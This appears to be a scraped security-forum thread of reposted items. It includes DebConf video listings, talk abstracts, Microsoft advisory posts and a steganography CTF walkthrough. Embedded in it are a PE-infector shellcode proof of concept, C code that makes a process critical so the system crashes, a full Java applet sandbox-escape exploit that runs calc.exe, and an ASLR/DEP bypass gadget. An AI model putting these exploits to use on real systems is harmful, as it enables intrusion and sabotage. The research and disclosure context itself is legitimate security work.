  10. DebConf13 video recordings DebConf13 runs August 11-18. Videos of some of the talks are available now. There are also live streams of some talks. Index of /pub/debian-meetings/2013/debconf13/high Name Last modified Size Parent Directory - 965_SPI_BOF.ogv 2013-08-12 03:06 493M 966_Technical_Committee_BOF.ogv 2013-08-12 03:30 485M 970_Derivatives_panel.ogv 2013-08-13 01:14 506M 972_Bits_from_the_DPL.ogv 2013-08-12 03:14 519M 976_Debian_Cosmology.ogv 2013-08-12 03:07 528M 978_Munin_.ogv 2013-08-12 22:06 469M 981_Making_your_package_work_with_systemd.ogv 2013-08-13 01:58 508M 983_Why_Debian_should_or_should_not_make_systemd_the_default.ogv 2013-08-13 01:13 544M 986_Why_running_a_Blend.ogv 2013-08-12 22:52 494M 989_Debian_Science_Roundtable.ogv 2013-08-12 23:26 515M 994_Debian_Contributors_BOF.ogv 2013-08-12 03:04 516M 1003_Debian_on_Google_Compute_Engine.ogv 2013-08-12 22:00 429M 1004_Public_clouds_and_official_Debian_image_status.ogv 2013-08-13 00:24 479M 1005_Tutorial_Using_Debian_on_Google_Compute_Engine.ogv 2013-08-12 22:18 526M 1007_Debian_derivatives_BoF.ogv 2013-08-12 22:31 549M 1013_Hardware_support_in_Debian_stable.ogv 2013-08-12 02:45 200M 1015_DebiChem.ogv 2013-08-13 01:09 514M 1018_Whats_new_in_the_Linux_kernel.ogv 2013-08-12 02:43 351M 1027_Why_Debian_needs_Upstart.ogv 2013-08-13 21:58 528M 1031_OpenStack_workshop.ogv 2013-08-12 23:08 438M 1036_AWS_Debian.ogv 2013-08-12 22:11 515M 1038_How_can_AWS_help_Debian.ogv 2013-08-13 00:34 179M 1041_Welcome_talk.ogv 2013-08-12 01:17 280M 1048_Recursive_node_classification_for_system_automation.ogv 2013-08-13 22:40 445M 1054_dracut.ogv 2013-08-13 21:29 305M 1060_ikiwiki_BoF.ogv 2013-08-13 22:25 665M Via: DebConf13 video recordings [LWN.net]
  11. [h=1]PE infect x64 - PoC[/h]by [h=3]eKKiM[/h]An example project (VS project) of how to add PE section copy your own shellcode to in it and execute it when application launches. This example only works for 64-bit executables. A source of the shellcode is also added. The shellcode is written for FASM Tested on a few binaries. Works on most of them, only having troubles with executables shipped with Windows. If anyone might have an idea why, please let me know. See the attachment for the source. Have any other problems or questions? Feel free to ask. [h=4]Attached Files[/h] pe_infect_x64.rar 6.41K Sursa: PE infect x64 - PoC - rohitab.com - Forums
  12. [h=1]Set a process as critical process using NtSetInformationProcess function[/h]by [h=3]zwclose7[/h]The NtSetInformationProcess function can be used to set a process as critical process. The system will bug check the system with the bug check code CRITICAL_PROCESS_TERMINATION (0xF4) when the critical process is terminated. To set a process as critical process using NtSetInformationProcess function, the caller must have SeDebugPrivilege enabled. This privilege can be enabled using the RtlAdjustPrivilege function. To set a process as critical process, call NtSetInformationProcess with ProcessBreakOnTermination (0x1D) information class. NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege,BOOLEAN Enable,BOOLEAN EnableForThread,PBOOLEAN OldValue); NTSTATUS NTAPI NtSetInformationProcess(HANDLE ProcessHandle,PROCESS_INFORMATION_CLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength); Commands: on - Set the current process as critical process. off - Cancel the critical process status. exit - Terminate the program. If you terminate the program whlie the critical process status is on, the system will crash! #include <stdio.h>#include <Windows.h> #include <winternl.h> #pragma comment(lib,"ntdll.lib") EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); EXTERN_C NTSTATUS NTAPI NtSetInformationProcess(HANDLE,ULONG,PVOID,ULONG); int main() { BOOLEAN bl; ULONG BreakOnTermination; NTSTATUS status; char cmd[10]; //To set a process as critical process using NtSetInformationProcess function, the caller must have SeDebugPrivilege enabled. if(!NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl))) { printf("Unable to enable SeDebugPrivilege. Make sure you are running this program as administrator."); return 1; } printf("Commands:\n\n"); printf("on - Set the current process as critical process.\noff - Cancel the critical process status.\nexit - Terminate the current process.\n\n"); while(1) { scanf("%s",cmd); if(!strcmp("on",cmd)) { BreakOnTermination=1; status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG)); if(status!=0) { printf("Error: Unable to set the current process as critical process. NtSetInformationProcess failed with status %#x\n\n",status); } else { printf("Successfully set the current process as critical process.\n\n"); } } else if(!strcmp("off",cmd)) { BreakOnTermination=0; status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG)); if(status!=0) { printf("Error: Unable to cancel critical process status. NtSetInformationProcess failed with status %#x\n\n",status); } else { printf("Successfully canceled critical process status.\n\n"); } } else if(!strcmp("exit",cmd)) { break; } } return 0; } [h=4]Attached Thumbnails[/h] [h=4]Attached Files[/h] critproc.zip 305.83K Sursa: Set a process as critical process using NtSetInformationProcess function - rohitab.com - Forums
  13. Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow Site packetstormsecurity.com The IntegerInterleavedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataOffsets[0]" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program. import java.awt.CompositeContext;import java.awt.image.*; import java.beans.Statement; import java.security.*; public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info String vsn = System.getProperty("java.version"); logAdd( "JRE: " + System.getProperty("java.vendor") + " " + vsn + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); // check JRE version int v = Integer.parseInt(vsn.substring(vsn.indexOf("_")+1)); _is7u17 = (vsn.startsWith("1.7.0_") && v >= 17) || (vsn.startsWith("1.6.0_") && v >= 43); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); private boolean _is7u17 = true; // we will need SinglePixelPackedSampleModel which returns 0 from getNumDataElements() class MySampleModel extends SinglePixelPackedSampleModel { public MySampleModel(int dataType, int w, int h, int scanlineStride, int[] bitMasks) { super(dataType, w, h, scanlineStride, bitMasks); } // override getNumComponents public int getNumDataElements() { int res = 0; logAdd("MySampleModel.getNumDataElements() = " + res); return res; } } private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate malformed buffer for destination Raster, // "offset" parameter points outside the real storage DataBufferInt dst = new DataBufferInt(new int[4], 4, 14 + (_is64 ? 4:0)); // allocate the target array right after dst int[] a = new int[16]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferInt src = new DataBufferInt(2); src.setElem(1,-1); // src[1] will overwrite a.length by 0xFFFFFFFF // create normal source raster DirectColorModel cm = (DirectColorModel)ColorModel.getRGBdefault(); SinglePixelPackedSampleModel sm1 = new SinglePixelPackedSampleModel(DataBuffer.TYPE_INT, 1,2,1, cm.getMasks()); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create custom SinglePixelPackedSampleModel with malicious getNumDataElements() (for 7u17) // or with negative scanlineStride for jre < 7u17 MySampleModel sm2 = new MySampleModel(DataBuffer.TYPE_INT, 1,2, _is7u17 ? 1 : 0x80000001, cm.getMasks()); // create destination IntegerInterleavedRaster basing on malformed dst[] and sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create sun.java2d.SunCompositeContext CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); logAdd(cc); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xFFFFFFFF int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables } Download: http://packetstorm.igor.onlinedirect.bg/1308-exploits/PSA-2013-0813-1-exploit.tgz Sursa: Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow ? Packet Storm
  14. Crafting Udp Packets With Hping3 Description: In this video we go over crafting UDP packets with HPING3 with random IP sources towards 1 host Sursa: Crafting Udp Packets With Hping3
  15. Discovering Dark Matter: Towards Better Android Malware Heuristics - Jimmy Shah, David Shaw, Matt Dewitt Description: There are nearly 1,000,000 free and paid Android apps available. A very small percentage of these mean to do you harm. Figuring out which apps are the bad ones is difficult enough for the average user, but it's not much easier for malware analysts. Analysis tools and automation can help to filter this flood of apps. Towards the end of discovering new unknown malware in a timely manner, we are developing new heuristics. We will cover: * Existing analysis tools: manual and automated * Data leakage and permissions abuse * Development of new tools and heuristics for malicious Android apps * Comparing the results of running the heuristics vs. manual analysis BIOS: Jimmy Shah is a Mobile Security Researcher specializing in analysis of mobile/embedded threats on existing platforms (Windows Phone 8, iOS, Android) and potential mobile malware and spyware. If it's lighter than a car, has a microprocessor, and is likely to be a target it's probably his problem. He has presented on mobile threat research at a number of computer security conferences. David Shaw is the Senior Director of Engineering at Redspin, specializing in External and Application security assessments, with particular interest in exploit development and unconventional attack vectors. David was a speaker at ToorCon 12 and LayerOne 2013, and was the technical editor of the Nmap 6: Network Exploration and Security Auditing Cookbook. Matthew McDevitt is a security and malware researcher. After 8 years' experience in systems administration, Matt began professionally pursuing information security, his hobby since young adulthood. Matt is currently a Mobile Malware Researcher and specializes in x86 and embedded system malware analysis. For More Information please visit : Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) BSidesLV Sursa: Discovering Dark Matter: Towards Better Android Malware Heuristics - Jimmy Shah, David Shaw, Matt Dewitt
  16. Security Of Javascript In A Browser Environment Description: Security of JavaScript in a Browser Environment Christian Hammer, Purdue University The power of modern websites emerges to a large extent from the ability to combine content from different sources. As an example, a site may include a Google map next to business information a user had been searching for. Combining content from possibly untrusted sites gives rise to all sorts of security concerns, as JavaScript has no concept of separating scripts from different sources. This has lead to several recent attacks like the Samy or Yamanner worms. This talk presents the state of the art in securing JavaScript for such settings and proposes a sandboxing facility for in-browser script separation. Christian Hammer is a post-doctoral researcher at Purdue University working in the Secure Software Systems lab with Prof. Jan Vitek. His research interests include static and dynamic program analyses, in particular security, program slicing, information flow, concurrency, and programming languages. He received the Doctor of Engineering (Dr.-Ing.) from Karlsruhe Institute of Technology, Germany in 2009, and a Diplom (equiv. M.Sc.) in Computer Science from University of Passau, Germany. As a graduate student, he spent two semester breaks at the IBM T. J. Watson Research Center in Hawthorn, NY. (Visit: www.cerias.purude.edu) For More Information please visit : - CERIAS - Center for Education and Research in Information Assurance and Security Sursa: Security Of Javascript In A Browser Environment
  17. Nytro

    Rootkits

    Rootkits Xeno Kovah, MITRE This talk will examine the state of current and proposed rootkits, to try and answer the following question: are rootkits stupid and lame? The speaker will provide supporting evidence that most all rootkits are eminently detectable, in theory. But theory of matter if tools for detection are not used in practice. Therefore the talk will highlight the few weaknesses in detection methodologies and many weaknesses in tools, so that the audience can think about what they could do to make the world more secure. Xeno Kovah is mortal and fallible. So are you." (Visit: www.cerias.purude.edu) For More Information please visit : - CERIAS - Center for Education and Research in Information Assurance and Security Sursa: Rootkits
  18. Cryptographic Improvements in Microsoft Windows swiat 13 Aug 2013 8:22 AM You might remember that in June 2013 we released Security Advisory 2854544 announcing additional options for enterprise customers to manage their digital certificate handling configuration on the Windows platform. The particular functionality announced in Security Advisory 2854544 was first built into Windows 8, Windows Server 2012, and Windows RT and then back-ported to other operating systems. At the time, we also announced our plan to release additional updates to this advisory – all aimed at bolstering Windows cryptography and certificate-handling infrastructure. These efforts are not in response to any specific incident, but rather just the continuing evolution of how he handle digital certificate to ensure the safest possible computing environment for our customers. What’s New Today? Today, we have released the next in that planned set of advisories. Security Advisory 2862973 announces the immediate availability of an update to restrict the use of the MD5 hashing algorithm in digital certificates that are a part of the Microsoft Root Program. We plan to release this update broadly through Windows Update on February 11, 2014 after customers have a chance to assess the impact of this update and take necessary actions in their enterprise. It is available today on the Microsoft Download Center. This MD5 update is enabled by a new framework for management of cryptography, described briefly below and in more detail on Microsoft Technet. These updates are meant to enhance customer privacy and security. Strong cryptography improves the functionality of signing features which allow users to validate the source and trustworthiness of content. It also improves the functionality of the underlying cryptography algorithms, increasing the cost of attacker efforts to perform content spoofing, man-in-the-middle (MiTM), and phishing attacks. We’ll look at the new cryptographic framework update first. It provides a number of features Administrators can use to monitor and deprecate weak cryptography. The features introduced focus on increasing the strength of asymmetric cryptography as used in the platform and deprecating hashing algorithms such as MD5. Increasing the strength of asymmetric cryptography Asymmetric cryptography is used to encrypt data / share secrets between two or more entities. Instead of using a single shared key to unlock a secret (symmetric-key cryptography), each entity has a public and private key to encrypt, decrypt and sign. In practice, the strength of asymmetric cryptography is dependent on the key size, algorithm used, and the trusted third party who validates the keys. Recent updates address these properties by providing users with options to manage which cryptographic algorithms are used (RSA, DSA or ECDSA), options to set minimum key length, and options to set allowed hashing algorithms for code signing and other functions. All updates and the current status of cryptographic improvements for cryptography are centrally tracked as a part of Microsoft Security Advisory 2854544 (Updates to Improve Cryptography and Digital Certificate Handling in Windows). Timeline of Cryptographic improvements 2012-2013 Microsoft Security Advisory 2661254 This update set a mandatory key length for RSA keys of 1024 bits or stronger by restricting the use of certificates with RSA keys less than 1024 bits in length. Microsoft Security Advisory 2813430 This update establishes functionality that enables consumers to update trusted and disallowed Certificate Trust Lists (CTL) in non-internet connected environments. CTL’s are a list of approved hashes or certificates approved by a trusted third party. This update allows customers more control in which parties they trust. Microsoft Security Advisory 2862966 This update established a framework for managing asymmetric cryptography by adding features for monitoring and directly controlling which cryptographic algorithms are used (RSA, DSA or ECDSA), options to set minimum key length as well as to set which hashing algorithms will be permitted for code signing and other functions. All functionality is documented in detail on Microsoft TechNet. Microsoft Security Advisory 2862973 This update released today as Downloadable Content (DLC) gives customers the option to restrict the use of certificates that utilize the MD5 hashing algorithm as part of their digital signature. We recommend that customers download and test the update in their environment at the earliest opportunity, this will be especially useful for environments that have little or no inventory of their cryptographic and certificate dependencies. This update will only affect MD5 as used in server authentication, code signing and time stamping. There are exceptions for certain certificates and timestamps, please see KB 2862973 for additional details. Microsoft is planning to release this update through Windows Update on February 11, 2014 after customers have a chance to assess the impact of this update and take necessary actions in their enterprise. - William Peteroy, MSRC Sursa: https://blogs.technet.com/b/srd/archive/2013/08/13/cryptographic-improvements-in-microsoft-windows.aspx?Redirected=true
  19. Mitigating the LdrHotPatchRoutine DEP/ASLR bypass with MS13-063 swiat 12 Aug 2013 10:51 AM Today we released MS13-063 which includes a defense in depth change to address an exploitation technique that could be used to bypass two important platform mitigations: Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). As we’ve described in the past, these mitigations play an important role in making it more difficult and costly for attackers to exploit vulnerabilities. The bypass technique that has been addressed by MS13-063 was described by Yang Yu of NSFocus Security Labs at the CanSecWest security conference earlier this year. This bypass was also independently discovered by other researchers and was used by VUPEN in one of their exploits for the Pwn2Own 2013 contest as well. A few months ago, we released EMET 4.0 which included a mitigation for this specific bypass. In this blog post, we wanted to provide some background on how the bypass works and how it has been addressed by MS13-063. How the bypass works The bypass takes advantage of a predictable memory region known as SharedUserData that exists at a fixed location (0x7ffe0000) in every process on every supported version of Windows. On 64-bit versions of Windows prior to Windows 8, this region contains pointers to multiple functions in the 32-bit version of NTDLL that is used by WOW64 processes as shown below: The presence of these pointers at a predictable location in memory can enable an attacker to bypass ASLR if they have the ability to read anywhere in memory. In this case, the bypass technique takes things a step further by taking advantage of one of the functions listed above: LdrHotPatchRoutine. This function is part of the hotpatching support provided by Windows and one of the noteworthy things it does when called is load a DLL from a path that has been passed in as a field of the first parameter. This means that if an attacker can use a vulnerability to call LdrHotPatchRoutine, they could execute arbitrary code as a side effect of loading a malicious DLL of their choosing, such as from a UNC path, and thus bypass DEP implicitly. Depending on the vulnerability that is being exploited, it can be fairly straightforward for an attacker to trigger a call through the pointer to LdrHotPatchRoutine in SharedUserData with a controlled parameter, thus bypassing both ASLR and DEP. Use after free vulnerabilities involving C++ objects with a virtual table pointer are particularly well-suited for being able to apply this technique. These vulnerabilities have become a preferred vulnerability class of exploit writers in recent years. The reason use after free issues are particularly amendable is because attackers typically control the entire content of the C++ object that has been freed prior to a virtual method call. As such, an attacker only needs a virtual method call site where they can control the virtual table pointer being called through and the first parameter that is passed to the virtual method. For example, if we assume that EDX points to memory that is controlled by the attacker: mov ecx, [edx+0x4] ; load pointer to fake object into ECX mov eax, [ecx] ; load fake virtual table pointer 0x7ffe0344 into EAX push ecx ; push pointer to controlled content as first parameter call [eax+0xc] ; call [0x7ffe0344 + 0xc] which points to LdrHotPatchRoutine As a result of the above sequence, LdrHotPatchRoutine will be called and the DLL path referred to in the fake structure that is passed as the first parameter will be loaded, thus bypassing both ASLR and DEP. How the fix works The bypass described above relies on the fact that a pointer to LdrHotPatchRoutine can be found at a predictable location in memory. As such, one way to mitigate this bypass is to simply eliminate the predictable pointer to LdrHotPatchRoutine from SharedUserData. This is approach taken in the security update for MS13-063. After installing this update on Windows 7 64-bit, we can see that not only has the pointer to LdrHotPatchRoutine been eliminated, but in fact all other image pointers have been eliminated as well: As a result, not only is the LdrHotPatchRoutine bypass mitigated, but so is any other bypass that relies on leveraging the image pointers that were present in SharedUserData on 64-bit versions of Windows. The potential for abusing one or more of these pointers was something that we were aware of during the development of Windows 8 and as such we took steps to eliminate all image pointers from SharedUserData on both 32-bit and 64-bit versions of Windows 8. This is why Windows 8 was not susceptible to this bypass. It should be noted that although MS13-063 removes all image pointers from SharedUserData on 64-bit versions of Windows 7, there is still one image pointer present in SharedUserData on 32-bit versions of Windows 7 and prior (the SystemCall function pointer). For those who are curious, the pointers that were originally stored in SharedUserData have now been moved to an exported global data structure named LdrSystemDllInitBlock in NTDLL. This data structure is populated during process initialization with the required pointers. Since NTDLL is randomized by ASLR, an attacker cannot reliably predict where these pointers will be stored in memory. Bounty program Although we were already aware of the underpinnings of this bypass before it was publicly described, it is a great example of a technique that could have qualified for our recently announced Mitigation Bypass Bounty Program. This bounty program offers exceptional rewards (up to $100,000) for novel exploitation techniques that affect the latest versions of our products. In this case, the bypass was generic, could be made reliable, had reasonable requirements, applied to high impact user mode application domains, and had elements that made it novel. Discovering and mitigating exploitation techniques of this nature can help us make our platform safer and more secure by breaking the techniques that attackers rely on to develop reliable exploits. - Matt Miller and William Peteroy Special thanks to our colleagues in Windows Sustained Engineering for their work on shipping this defense in depth update. Sursa: https://blogs.technet.com/b/srd/archive/2013/08/12/mitigating-the-ldrhotpatchroutine-dep-aslr-bypass-with-ms13-063.aspx?Redirected=true
  20. Steganography: What your eyes don’t see Soufiane Tahiri August 14, 2013 Steganography is the art of hiding information to prevent detection of a hidden message. It has been used throughout history by many methods and variation, ancient Greeks shaved heads of messengers and tattooed the secret message, once the heir grew back the message remained undetectable until the head is shaved again. Many ingenious techniques and methods were used by ancient civilizations. Earlier and near World War II invisible inks offered a common form of undetectable writing. An innocent letter could contain a very different message written between their lines. It’s a security trough obscurity approach, theoretically, apart from the sender and the recipient no one is supposed to suspect the existence of the hidden message. Digital technologies and informatics gave us new ways to apply Steganography and this by the most intriguing techniques like hiding information in digital images. Steganography and cryptography belong to the same “big family”, if cryptography scrambles a message so it cannot be read. Steganography just hides it to not attract attention and this is the advantage that Steganography takes over cryptography. Trough this article I’ll demonstrate how a hidden “key” is stored in a “innocent looking” picture, the file we will study is a problem taken from a CTF (Capture the Flag, a computer security competition) Analyzing the target The file we know has a hidden message within it is a JPG file that simply looks like this (check references for download link): The original file name was “spamcarver” which is itself a hint, according to Wikipedia; file carving is the process of reassembling computer files from fragments in the absence offilesystem metadata, the craving process, makes use of knowledge of common file structures (information contained in files, and heuristics regarding how filesystems fragment data). Fusing these three sources of information, a file carving system infers which fragments belong together. This is enough to push us to explore the JPEG file structure. An In-depth sight into JPEG file format Every image file that uses JPEG compression is commonly called a JPEG file, and is considered as variant of JIF image format, and most images captured by recent devices such as digital cameras creates files in EXIF format (Exchangeable image file format), a format standardized for metadata interchange, since the Exif standard does not allow color profiles. Most image editing software stores JPEG in JFIF format, and also includes the APP1 segment from the Exif file to include the metadata in an almost-compliant way; the JFIF standard is interpreted somewhat flexibly. Technically, every JPEG file just like any other object has a beginning or header, called “Start of Image” and a trailer called “End of Image”, every JPEG file starts from the binary value ‘0xFFD8‘ and ends by the binary value ’0xFFD9‘. A JPEG file contains binary data starting by FF called Markers and has a basic format like this: 0xFF+Marker Number (1 byte) +Data size (2 bytes) +Data (n bytes). Some Markers are used to describe data, after the Start of Stream Marker which starts the JPEG image stream that ends by the End of Image Marker. Here is a basic JPEG file format structure: This seems to be enough to start studying our given image. Problem analysis Before trigging our hexadecimal editor, let’s just do some “routine” tasks like checking the picture using some standard tools to get some additional information about this file. In a Windows 7 machine, I installed GnuWin32 to get some *unix commands like “file” which determines file type and applies it on our target. Installing GnuWin32 Start by downloading automated gnuwin32 download tool (GetGnuWin32-0.6.3.exe link on references section), then extract it to the desired folder, the installation process is quite simple even if it’s command line based, so using windows command prompt (CMD) to navigate the extracted location and run “download.bat”. This will download automatically all the available GnuWin32 packages to the same directory, if you are prompted to do something just accept the defaults. After the download is finished and remaining on the command prompt you need to install all downloaded packages by typing: C:\PathWhereYouDownloaded\GetGnuWin32\> install c:\gnuwin32 this will install all downloaded packages to c:/gnuwin32 directory. The last step is to add this new directory to the Environment Variables do this by right clicking on “My Computer” then “Properties” and click on “Advanced system settings” (or something similar) In the System Properties window click on “Environment Variables” button, in the Environment Variables window (as shown below), select “Path ” variable in the Systems Variable section and click the Edit button. Modify the path line by adding “;c:\gnuwin32“ (without quotes as shown below): Let’s now use “file” command: As expected this is a valid JPEG file stored in JFIF format, we can get even more information using another tool called “ExifTool” (You can download the link from the references section) which can help us with handling and manipulating images metadata: Until now, everything seems legit and the file seems to be a valid JPEG file which leaves us the ultimate and efficient method: doing it by hands, the old school way! Let’s open our image file using a hexadecimal editor and focus on its structure; now we know that every JPEG file starts by 0xFFD8 and ends with 0xFFD9: FFD8 is the Start of Image Marker, FFE0 is an Application Marker which is used to insert digital camera configuration and thumbnail image and it doesn’t interest us. Let’s try to find the trailer of our file (the End of Image Marker) which is equal to 0xFFD9, so using your hexadecimal editor try to find the value “FFD9?. To do this using WinHex, click on “Find Hex Values” on the window that appears taped in the hexadecimal value you want to find then click “OK” And guess what two hits were found which is not “very” normal, click on the first hit to get to its offset Things get more intriguing, well basically this means that something’s appended to the JPEG file. The JPEG file should end on FFD9 but exactly after the supposed end of image an interesting 504B0304……. with lot of other binary data appear. If you are habituated to reverse engineering you can easily see that this is in fact the header of a normal PKZip file, even if you are not, a quick Google search will reveal it. Let’s now study the binary data that appends after the end of the image marker. A sight into PKZip file format Each PKZip file (or simply ZIP file) mainly has this structure: And it may contain many local files headers, many local files data and many data descriptors of course there are lots of other technical details that I won’t explain in this paper. Each Local File header is structured in the following manner: [TABLE] [TR] [TD]Signature[/TD] [TD=width: 307]The signature of the local file header is always 0x504b0304[/TD] [/TR] [TR] [TD=width: 307]Version[/TD] [TD=width: 307]The PKZip version needed for archive extraction[/TD] [/TR] [TR] [TD=width: 307]Flags[/TD] [TD=width: 307]Bit 00: encrypted fileBit 01: compression optionBit 02: compression option Bit 